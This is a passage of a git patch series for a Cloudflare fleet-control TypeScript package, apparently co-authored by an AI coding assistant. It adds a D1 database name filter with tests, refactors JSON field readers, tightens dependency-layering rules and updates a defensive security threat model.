index 00000000..4ed973e9 --- /dev/null +++ b/.changeset/named-databases.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': minor +--- + +`PlainWorkerProvisioningApi.listDatabases` accepts an optional name filter. The direct Cloudflare API adapter forwards it as the D1 list query and the Wrangler adapter filters its parsed inventory locally; `PlainWorkerBackend.findDatabase` passes the deployment's database name and keeps its exact-name comparison and its duplicate-name and missing-UUID refusals. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index ace457c5..8d1b686a 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -132,7 +132,7 @@ The direct backend's client paths call these Cloudflare API route families: Every provider page and request reserves shared quota, and every inventory has a hard item bound. An over-bound inventory fails instead of truncating. Under Workers for Platforms, namespace-list failures, including `404`, propagate and block destructive teardown. Under a plain-only client, only a first-page `404` or an exhaustive empty result proves that no dispatch namespace exists; a later `404` and every other failure block destructive D1 or R2 teardown. -The SDK runs with logging disabled even when `CLOUDFLARE_LOG` requests debug output. Upload errors replace intent secret values before the error enters a mutation outcome. Database export failures discard provider messages, response bodies, headers, signed URLs, and original causes. The signed URL is parsed, downloaded with redirects disabled and no authorization header, hashed, and compared with the durable store's committed size and digest inside one redaction boundary. +The SDK runs with logging disabled even when `CLOUDFLARE_LOG` requests debug output. Upload errors replace intent secret values before the error enters a mutation outcome. That redaction knows only exact plaintext secret values from the upload intent; a consumer-injected fetch that echoes request headers into an error can surface the account token, so supply that fetch only from trusted control-plane code. The Cloudflare SDK can also throw a consumer-controlled value while coercing a rejected transport value before wrapping it; that value can carry request data and bypass upload-error redaction, while hostile values can make API-error recognition or sanitization throw another value instead. Database export failures discard provider messages, response bodies, headers, signed URLs, and original causes. The signed URL is parsed, downloaded with redirects disabled and no authorization header, hashed, and compared with the durable store's committed size and digest inside one redaction boundary. Unset `CLOUDFLARE_CUSTOM_HEADERS` in the provisioning host unless every configured header is intended for all SDK requests. Cloudflare SDK 7 reads that process variable as ambient default headers, outside the backend's explicit options. @@ -369,7 +369,7 @@ Store deployment secrets in Cloudflare Secrets or an external manager and inject - business connectors; - SIEM authorization. -Application binding descriptors contain a name and the UTF-8 SHA-256 of the intended value. Supply the plaintext map only through the trusted fleet-control invocation seam. Fleet control requires exact descriptor keys, verifies every digest before provider access, and excludes plaintext from durable records, release identity, logs, and errors. A secret rotation changes the specification digest, but provider inventory can verify only the secret name after upload. +Application binding descriptors contain a name and the UTF-8 SHA-256 of the intended value. Supply the plaintext map only through the trusted fleet-control invocation seam. Fleet control requires exact descriptor keys, verifies every digest before provider access, and excludes plaintext from durable records, release identity, and its own logs; upload-error handling has the injected-transport residual described in the Direct Cloudflare API backend section. A secret rotation changes the specification digest, but provider inventory can verify only the secret name after upload. Do not persist raw keys in workflow input, suspend payload, approval context, schedule request context, notification body, audit detail, artifact metadata, or fleet state. diff --git a/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts index c2b64b1d..96b0e3a4 100644 --- a/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts @@ -144,8 +144,10 @@ export class CloudflareApiPlainWorkerProvisioningApi return this.#client.disableOrdinaryWorkerPublicAccess(scriptName, fence); } - listDatabases(): Promise { - return this.#client.listOrdinaryWorkerDatabases(); + listDatabases( + filter?: Readonly<{ name?: string }>, + ): Promise { + return this.#client.listOrdinaryWorkerDatabases(filter); } getDatabase(databaseId: string): Promise { diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 3862131f..c6784677 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -1136,10 +1136,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { return scripts; } - async listOrdinaryWorkerDatabases(): Promise< - readonly PlainWorkerDatabaseInventoryEntry[] - > { - return listOrdinaryWorkerDatabases(this.#ordinary); + async listOrdinaryWorkerDatabases( + filter?: Readonly<{ name?: string }>, + ): Promise { + return listOrdinaryWorkerDatabases(this.#ordinary, filter); } async ordinaryWorkerDeploymentStatus( diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts index c148e747..4efc5f18 100644 --- a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -205,6 +205,7 @@ export async function ordinaryWorkerSecretNames( export async function listOrdinaryWorkerDatabases( context: OrdinaryWorkerPagedContext, + filter?: Readonly<{ name?: string }>, ): Promise { return context.schedule(async () => { const databases: PlainWorkerDatabaseInventoryEntry[] = []; @@ -212,6 +213,7 @@ export async function listOrdinaryWorkerDatabases( context.client.d1.database.list({ account_id: context.accountId, per_page: 100, + ...(filter?.name === undefined ? {} : { name: filter.name }), }), 'D1 database inventory', MAX_DATABASE_INVENTORY, diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index 9314fc13..bd9b54b1 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -293,7 +293,8 @@ export class PlainWorkerBackend implements ProvisioningBackend { async findDatabase( spec: DeploymentSpec, ): Promise { - const listed = await this.#api.listDatabases(); + const listed = await this.#api.listDatabases({ name: spec.databaseName }); + // A name filter narrows the listing toward the name, so compare exactly. const matches = listed.filter( (database) => database.name === spec.databaseName, ); diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 3adcbb93..be44bde5 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -858,8 +858,15 @@ export interface PlainWorkerProvisioningApi extends PlainWorkerRouteApi { readonly maxMutationDurationMs: number; /** Whether immutable-ID D1 reads and deletion are both available. */ readonly supportsExactDatabaseDeletion: boolean; - /** Lists all D1 database inventory facts visible to the adapter. */ - listDatabases(): Promise; + /** + * Lists D1 database inventory facts visible to the adapter. A name filter + * narrows the listing toward that name; an adapter forwards it where the + * provider accepts one and filters locally otherwise, so a caller that needs + * an exact match still compares the returned names. + */ + listDatabases( + filter?: Readonly<{ name?: string }>, + ): Promise; /** Reads a D1 database, returning undefined only for provider absence. */ getDatabase(databaseId: string): Promise; /** Creates a D1 database and reports a dispatched mutation outcome. */ diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index 79f2e9ab..57370c08 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -228,12 +228,21 @@ export class WranglerPlainWorkerProvisioningApi return this.#routeApi.disableOrdinaryWorkerPublicAccess(scriptName, fence); } - async listDatabases(): Promise { + async listDatabases( + filter?: Readonly<{ name?: string }>, + ): Promise { const listed = await this.#runner.run(['d1', 'list', '--json']); - return asArray(parseJson(listed.stdout, 'd1 list')).map((database) => ({ - databaseId: readStringField(database, 'uuid'), - name: readStringField(database, 'name'), - })); + // The pinned Wrangler command has no name flag, so the adapter filters + // the parsed inventory. + return asArray(parseJson(listed.stdout, 'd1 list')) + .map((database) => ({ + databaseId: readStringField(database, 'uuid'), + name: readStringField(database, 'name'), + })) + .filter( + (database) => + filter?.name === undefined || database.name === filter.name, + ); } async getDatabase( diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index 68b3fdc8..16dfb5ae 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -183,6 +183,27 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { ).resolves.toBeUndefined(); }); + it('forwards a D1 database name filter without changing unfiltered requests', async () => { + const world = providerWorld(); + world.seedDatabase('acme-production', { databaseId: 'database-1' }); + const { api, fixture } = subject(restProjection(world)); + + await api.listDatabases(); + await expect( + api.listDatabases({ name: 'acme-production' }), + ).resolves.toEqual([{ databaseId: 'database-1', name: 'acme-production' }]); + const firstPageListUrls = fixture.requests + .map(({ url }) => new URL(url)) + .filter( + (url) => + url.pathname.endsWith('/d1/database') && + !url.searchParams.has('page'), + ); + expect( + firstPageListUrls.map((url) => url.searchParams.get('name')), + ).toEqual([null, 'acme-production']); + }); + it.each([ 'createDatabase', 'uploadCandidate', diff --git a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts index 409270b7..6208099c 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts @@ -39,6 +39,8 @@ export class PlainWorkerProvisioningApiFake readonly absent = new Set(); readonly scripts = new Set(); readonly databases = new Map(); + readonly listDatabaseFilters: (Readonly<{ name?: string }> | undefined)[] = + []; readonly versions = new Map(); readonly deployments = new Map(); readonly domains: PlainWorkerCustomDomain[] = []; @@ -158,11 +160,19 @@ export class PlainWorkerProvisioningApiFake await this.#request('batchDatabase', undefined); } - async listDatabases(): Promise { - return [...this.databases.values()].map(({ id, name }) => ({ - databaseId: id, - name, - })); + async listDatabases( + filter?: Readonly<{ name?: string }>, + ): Promise { + this.listDatabaseFilters.push(filter); + return [...this.databases.values()] + .filter(({ name }) => { + // Include partial matches to exercise the core's exact-name check. + return filter?.name === undefined || name.includes(filter.name); + }) + .map(({ id, name }) => ({ + databaseId: id, + name, + })); } async getDatabase( diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 5ce0fbe9..3f42d57b 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -248,6 +248,68 @@ describe('PlainWorkerBackend core policy', () => { expect(api.queries).toHaveLength(1); }); + it('passes the deployment database name to inventory listing', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.databases.set(database.id, { ...database, created: false }); + + await expect(backend(api).findDatabase(spec)).resolves.toEqual({ + ...database, + created: false, + }); + expect(api.listDatabaseFilters).toEqual([{ name: spec.databaseName }]); + }); + + it('refuses duplicate exact database names', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.databases.set('database-1', { + id: 'database-1', + name: spec.databaseName, + created: false, + }); + api.databases.set('database-2', { + id: 'database-2', + name: spec.databaseName, + created: false, + }); + + await expect(backend(api).findDatabase(spec)).rejects.toThrow( + `multiple D1 databases are named '${spec.databaseName}'`, + ); + }); + + it('refuses a matching database row whose uuid is empty', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.databases.set('database-id', { + id: '', + name: spec.databaseName, + created: false, + }); + + await expect(backend(api).findDatabase(spec)).rejects.toThrow( + 'D1 list result has no uuid', + ); + }); + + it('selects an exact database name from search-like inventory', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.databases.set('database-1', { + id: 'database-1', + name: 'acme-production', + created: false, + }); + api.databases.set('database-2', { + id: 'database-2', + name: 'acme-production-canary', + created: false, + }); + + await expect(backend(api).findDatabase(spec)).resolves.toEqual({ + id: 'database-1', + name: 'acme-production', + created: false, + }); + }); + it('rediscovers a tagged upload after a succeeded outcome without reading its footprint', async () => { const api = new PlainWorkerProvisioningApiFake(); installOnUpload(api); diff --git a/packages/fleet-control/test/plain-worker-conformance.direct.test.ts b/packages/fleet-control/test/plain-worker-conformance.direct.test.ts index 5de34ddb..c456bed3 100644 --- a/packages/fleet-control/test/plain-worker-conformance.direct.test.ts +++ b/packages/fleet-control/test/plain-worker-conformance.direct.test.ts @@ -14,10 +14,13 @@ import { malformedErrorsBody, migrationSpec, routeAttestation, + seedWorkerFromSpec, sharedSecrets, throwingConstructorError, } from './fixtures/plain-worker-harnesses.js'; +import { mutationFence } from './fixtures/plain-worker-port-probe.js'; import type { ProviderFailure } from './fixtures/provider-world.js'; +import { providerWorld } from './fixtures/provider-world.js'; import { describePlainWorkerConformance } from './plain-worker-backend-conformance.js'; afterEach(assertHarnessFailuresConsumed); @@ -25,6 +28,34 @@ afterEach(assertHarnessFailuresConsumed); // The direct harness creates no Wrangler scratch directory or fs mock state. describePlainWorkerConformance('direct Cloudflare API', directHarness); +it('converges public-access config during a staged upload', async () => { + const world = providerWorld(); + const currentSpec = initialSpec(); + const targetSpec = migrationSpec(); + seedWorkerFromSpec(world, { spec: currentSpec }); + const script = world.scripts.get(currentSpec.scriptName); + const database = world.databases.find( + ({ name }) => name === currentSpec.databaseName, + ); + if (!script || !database) throw new Error('ready Worker seed is incomplete'); + script.subdomain = { enabled: false, previewsEnabled: false }; + const harness = directHarness(world); + + await harness.backend.deployWorker( + targetSpec, + { id: database.databaseId, name: database.name, created: false }, + sharedSecrets, + undefined, + mutationFence(), + undefined, + ); + + expect(script.subdomain).toEqual({ + enabled: true, + previewsEnabled: false, + }); +}); + it('settles an initial upload failure at the REST script request when selected', async () => { const harness = directHarness(); const spec = buildPlainWorkerSpec(); diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index 2c6b4fbd..24955960 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -169,6 +169,22 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { ]); }); + it('filters database inventory locally without changing Wrangler arguments', async () => { + const runner = new FakeRunner(async () => ({ + stdout: JSON.stringify([ + { uuid: 'database-1', name: 'acme-production' }, + { uuid: 'database-2', name: 'other' }, + ]), + stderr: '', + })); + const subject = await api(runner); + + await expect( + subject.listDatabases({ name: 'acme-production' }), + ).resolves.toEqual([{ databaseId: 'database-1', name: 'acme-production' }]); + expect(runner.calls).toEqual([{ arguments: ['d1', 'list', '--json'] }]); + }); + it('rejects invalid JSON with the operation name', async () => { const subject = await api( new FakeRunner(async () => ({ stdout: '{', stderr: '' })), From d96d8d5f09f1f26f477498c9b914b07c6d0eda80 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 02:37:21 +0400 Subject: [PATCH 013/169] test(fleet-control): assert the unfiltered D1 listing and derive its names The direct-API case now seeds a second, non-matching database and asserts the unfiltered listing as two rows in insertion order, so the filtered expectation fails if the name filter stops reaching the wire. The core-policy cases take their database names from the deployment spec, and the empty-uuid row is keyed by its own id. The fixture's list filter keeps a concise arrow with its comment above the return, matching the Wrangler adapter. Three over-length comments are rewrapped with the same words, and the threat model's cross-reference to the Direct Cloudflare API backend becomes a checked anchor link with the same rendered sentence. No behavior changes; the built declarations stay byte-identical. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- docs/security-threat-model.md | 2 +- packages/fleet-control/src/plain-worker-backend.ts | 9 +++++---- ...dflare-api-plain-worker-provisioning-api.test.ts | 6 +++++- .../fixtures/plain-worker-provisioning-api-fake.ts | 13 +++++++------ .../fleet-control/test/plain-worker-backend.test.ts | 8 ++++---- 5 files changed, 22 insertions(+), 16 deletions(-) diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 8d1b686a..f870caa1 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -369,7 +369,7 @@ Store deployment secrets in Cloudflare Secrets or an external manager and inject - business connectors; - SIEM authorization. -Application binding descriptors contain a name and the UTF-8 SHA-256 of the intended value. Supply the plaintext map only through the trusted fleet-control invocation seam. Fleet control requires exact descriptor keys, verifies every digest before provider access, and excludes plaintext from durable records, release identity, and its own logs; upload-error handling has the injected-transport residual described in the Direct Cloudflare API backend section. A secret rotation changes the specification digest, but provider inventory can verify only the secret name after upload. +Application binding descriptors contain a name and the UTF-8 SHA-256 of the intended value. Supply the plaintext map only through the trusted fleet-control invocation seam. Fleet control requires exact descriptor keys, verifies every digest before provider access, and excludes plaintext from durable records, release identity, and its own logs; upload-error handling has the injected-transport residual described in the [Direct Cloudflare API backend](#direct-cloudflare-api-backend) section. A secret rotation changes the specification digest, but provider inventory can verify only the secret name after upload. Do not persist raw keys in workflow input, suspend payload, approval context, schedule request context, notification body, audit detail, artifact metadata, or fleet state. diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index bd9b54b1..cb82b436 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -2001,8 +2001,9 @@ export class PlainWorkerBackend implements ProvisioningBackend { `refusing to delete Worker '${spec.scriptName}' with unexpected custom domains`, ); } - // Secret mutations can create new version IDs, so this live check validates - // the persisted anchor and deployed identity without repeating artifact-set membership. + // Secret mutations can create new version IDs, so this live check + // validates the persisted anchor and deployed identity without + // repeating artifact-set membership. if ( !(await this.#attestTeardownWorkerOwnership( spec, @@ -2020,8 +2021,8 @@ export class PlainWorkerBackend implements ProvisioningBackend { spec.scriptName, fence, ); - // Policy treats deleted and absent identically because the residual check follows; - // satisfies is a widening tripwire for future adapter outcomes. + // Policy treats deleted and absent identically because the residual check + // follows; satisfies is a widening tripwire for future adapter outcomes. deletionOutcome satisfies 'deleted' | 'absent'; const [ status, diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index 16dfb5ae..8d3f1646 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -186,9 +186,13 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { it('forwards a D1 database name filter without changing unfiltered requests', async () => { const world = providerWorld(); world.seedDatabase('acme-production', { databaseId: 'database-1' }); + world.seedDatabase('other-database', { databaseId: 'database-2' }); const { api, fixture } = subject(restProjection(world)); - await api.listDatabases(); + await expect(api.listDatabases()).resolves.toEqual([ + { databaseId: 'database-1', name: 'acme-production' }, + { databaseId: 'database-2', name: 'other-database' }, + ]); await expect( api.listDatabases({ name: 'acme-production' }), ).resolves.toEqual([{ databaseId: 'database-1', name: 'acme-production' }]); diff --git a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts index 6208099c..27496e50 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts @@ -34,8 +34,9 @@ export class PlainWorkerProvisioningApiFake readonly supportsExactDatabaseDeletion = true; readonly events: string[] = []; readonly failures = new Map(); - // absent, buckets, exportResult, and createDeploymentOutcome's failure arm are - // deliberately unexercised seed state for the direct-API conformance fixture. + // absent, buckets, exportResult, and createDeploymentOutcome's failure arm + // are deliberately unexercised seed state for the direct-API conformance + // fixture. readonly absent = new Set(); readonly scripts = new Set(); readonly databases = new Map(); @@ -164,11 +165,11 @@ export class PlainWorkerProvisioningApiFake filter?: Readonly<{ name?: string }>, ): Promise { this.listDatabaseFilters.push(filter); + // Include partial matches to exercise the core's exact-name check. return [...this.databases.values()] - .filter(({ name }) => { - // Include partial matches to exercise the core's exact-name check. - return filter?.name === undefined || name.includes(filter.name); - }) + .filter( + ({ name }) => filter?.name === undefined || name.includes(filter.name), + ) .map(({ id, name }) => ({ databaseId: id, name, diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 3f42d57b..b17b2963 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -279,7 +279,7 @@ describe('PlainWorkerBackend core policy', () => { it('refuses a matching database row whose uuid is empty', async () => { const api = new PlainWorkerProvisioningApiFake(); - api.databases.set('database-id', { + api.databases.set('', { id: '', name: spec.databaseName, created: false, @@ -294,18 +294,18 @@ describe('PlainWorkerBackend core policy', () => { const api = new PlainWorkerProvisioningApiFake(); api.databases.set('database-1', { id: 'database-1', - name: 'acme-production', + name: spec.databaseName, created: false, }); api.databases.set('database-2', { id: 'database-2', - name: 'acme-production-canary', + name: `${spec.databaseName}-canary`, created: false, }); await expect(backend(api).findDatabase(spec)).resolves.toEqual({ id: 'database-1', - name: 'acme-production', + name: spec.databaseName, created: false, }); }); From c5ae31d63d4b4158ba702f56953cf18f5f13b564 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 03:49:44 +0400 Subject: [PATCH 014/169] refactor(fleet-control): extract the JSON field readers and tighten layering Move readField, readStringField, and readArrayField out of provider-binding-inventory.ts into a json-field-reads.ts leaf that imports nothing, and repoint the four modules that read them. The provider-error module now imports only that leaf and the Cloudflare SDK. Drop the export keyword on MAX_SANITIZED_ERROR_CAUSE_DEPTH, redactSecretValues, isErrorSafely, and sanitizedErrorCause, which no module outside cloudflare-provider-errors.ts imports. Import workerMigrations in the switch provider from cloudflare-ordinary-worker-operations.ts and delete the client's re-export, so the switch provider no longer reaches the client. Collapse the two open-coded 404 predicates in cloudflare-client.ts onto the isNotFound that module already imports. Restate fleet-control-client-layers-are-one-way as everything under src/ except the client, its two direct-API importers, and index.ts, so a new module is covered the day it lands. Add fleet-control-ports-do-not-reach-d1-adapter and fleet-control-worker-reachable-modules-avoid-node-builtins, the second over the published Workers as well as the R2 and D1 modules, each with a positive control. Run the source-only build program under typecheck alongside the source-plus-test program, and correct the direct-API fake's seed-state comment: buckets is exercised through getR2Bucket. dist/index.d.ts is byte-identical; no published entry changes. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .dependency-cruiser.cjs | 36 +++++++++++++++++-- packages/fleet-control/CLAUDE.md | 1 + packages/fleet-control/package.json | 2 +- .../fleet-control/src/cloudflare-client.ts | 20 ++--------- .../cloudflare-ordinary-worker-operations.ts | 10 +++--- .../src/cloudflare-provider-errors.ts | 10 +++--- .../fleet-control/src/json-field-reads.ts | 23 ++++++++++++ .../src/provider-binding-inventory.ts | 23 +----------- ...s-for-platforms-backend-switch-provider.ts | 2 +- .../wrangler-plain-worker-provisioning-api.ts | 7 ++-- .../plain-worker-provisioning-api-fake.ts | 4 +-- .../fleet-control-port-imports-d1-adapter.ts | 1 + ...l-worker-reachable-imports-node-builtin.ts | 1 + .../architecture-positive-controls.test.mjs | 4 +++ 14 files changed, 84 insertions(+), 60 deletions(-) create mode 100644 packages/fleet-control/src/json-field-reads.ts create mode 100644 scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts create mode 100644 scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 022a8f0c..80f3e0a1 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -173,18 +173,50 @@ module.exports = { name: 'fleet-control-client-layers-are-one-way', severity: 'error', comment: - 'The ordinary-Worker operations module, the provider-error module, and the active-route leaf sit under the Cloudflare client. A back-import would restore the coupling the extraction removed, and packages/fleet-control is outside no-new-architecture-cycles. tsPreCompilationDeps keeps type-only imports in the graph, so an `import type` back-edge is covered.', + 'These fleet-control modules must not reach the Cloudflare client; a back-import would restore the coupling the extraction removed. packages/fleet-control is outside no-new-architecture-cycles. tsPreCompilationDeps keeps type-only imports in the graph, so an `import type` back-edge is covered.', from: { path: [ - '^packages/fleet-control/src/(?:active-route|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$', + '^packages/fleet-control/src/', '^scripts/architecture-fixtures/fleet-control-leaf-imports-client\\.ts$', ], + pathNot: + '^packages/fleet-control/src/(?:cloudflare-api-plain-worker-backend|cloudflare-api-plain-worker-provisioning-api|cloudflare-client|index)\\.ts$', }, to: { path: '^packages/fleet-control/src/cloudflare-client\\.ts$', reachable: true, }, }, + { + name: 'fleet-control-ports-do-not-reach-d1-adapter', + severity: 'error', + comment: + 'The D1 adapter implements ports that state-store.ts and migration-ledger.ts declare and imports state-store.ts, so a port module reaching the adapter would close a cycle.', + from: { + path: [ + '^packages/fleet-control/src/(?:state-store|migration-ledger)\\.ts$', + '^scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter\\.ts$', + ], + }, + to: { + path: '^packages/fleet-control/src/d1-fleet-state-database\\.ts$', + reachable: true, + }, + }, + { + name: 'fleet-control-worker-reachable-modules-avoid-node-builtins', + severity: 'error', + comment: + 'These modules are the Workers this package publishes plus the R2 export store, the D1 adapter, and the two leaf modules the R2 store imports. The two D1 harnesses set nodejs_compat, so a builtin import in the D1 adapter fails this rule rather than a harness; the R2 export harness runs without the flag.', + from: { + path: [ + '^packages/fleet-control/src/(?:d1-fleet-state-database|database-export-store|export-file-name|r2-export-store)\\.ts$', + '^packages/fleet-control/src/workers/', + '^scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin\\.ts$', + ], + }, + to: { dependencyTypes: ['core'] }, + }, ], required: [ { diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index 56193275..9d5c0947 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -16,6 +16,7 @@ Source map: - `provision.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence +- `json-field-reads.ts`: JSON field readers shared by provider adapters and error sanitization - `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding; `export-file-name.ts` holds the portable-segment check both stores use) - `workers/`: the platform's own deployed Workers, published as separate export entries diff --git a/packages/fleet-control/package.json b/packages/fleet-control/package.json index 29cfc461..447b3f30 100644 --- a/packages/fleet-control/package.json +++ b/packages/fleet-control/package.json @@ -54,7 +54,7 @@ "test:credentialed": "pnpm build && node scripts/credentialed-conformance.mjs", "test:packed-consumer": "node scripts/packed-consumer-test.mjs", "test": "vitest run", - "typecheck": "tsc -p tsconfig.json --noEmit" + "typecheck": "tsc -p tsconfig.json --noEmit && tsc -p tsconfig.build.json --noEmit" }, "dependencies": { "@proofoftech/flowsafe": "workspace:*", diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index c6784677..8748705b 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -338,8 +338,6 @@ export function dispatchMigrations(spec: DeploymentSpec) { ); } -export { workerMigrations } from './cloudflare-ordinary-worker-operations.js'; - async function hashExport( body: ReadableStream, ): Promise<{ sha256: string; size: number }> { @@ -975,14 +973,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { creationDate: new Date(bucket.creation_date).toISOString(), }; } catch (error) { - if ( - error && - typeof error === 'object' && - 'status' in error && - error.status === 404 - ) { - return undefined; - } + if (isNotFound(error)) return undefined; throw error; } }); @@ -3450,14 +3441,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ); return inspection; } catch (error) { - if ( - error && - typeof error === 'object' && - 'status' in error && - error.status === 404 - ) { - return undefined; - } + if (isNotFound(error)) return undefined; throw error; } }); diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts index 4efc5f18..fc07a4d3 100644 --- a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -1,8 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 // This module holds ordinary-Worker (plain-plane) provider operations that -// CloudflareProvisioningClient calls through one-line forwards or directly, -// plus the worker-migration helper it re-exports. Context-taking functions +// CloudflareProvisioningClient calls through one-line forwards or directly. +// Context-taking functions // declare the slice of OrdinaryWorkerContext they need; the preparation and // migration helpers take no context. // Provider requests go through context.client, the client's SDK instance; @@ -18,11 +18,13 @@ import { sanitizeProviderError, } from './cloudflare-provider-errors.js'; import { - assertOrdinaryWorkerDeploymentVersions, - providerBindingsToPlainWorkerShape, readArrayField, readField, readStringField, +} from './json-field-reads.js'; +import { + assertOrdinaryWorkerDeploymentVersions, + providerBindingsToPlainWorkerShape, uploadIntentToProviderBindings, } from './provider-binding-inventory.js'; import type { diff --git a/packages/fleet-control/src/cloudflare-provider-errors.ts b/packages/fleet-control/src/cloudflare-provider-errors.ts index 64ce55d7..3df0177a 100644 --- a/packages/fleet-control/src/cloudflare-provider-errors.ts +++ b/packages/fleet-control/src/cloudflare-provider-errors.ts @@ -9,11 +9,11 @@ // isNotFound. import { APIConnectionError, APIError } from 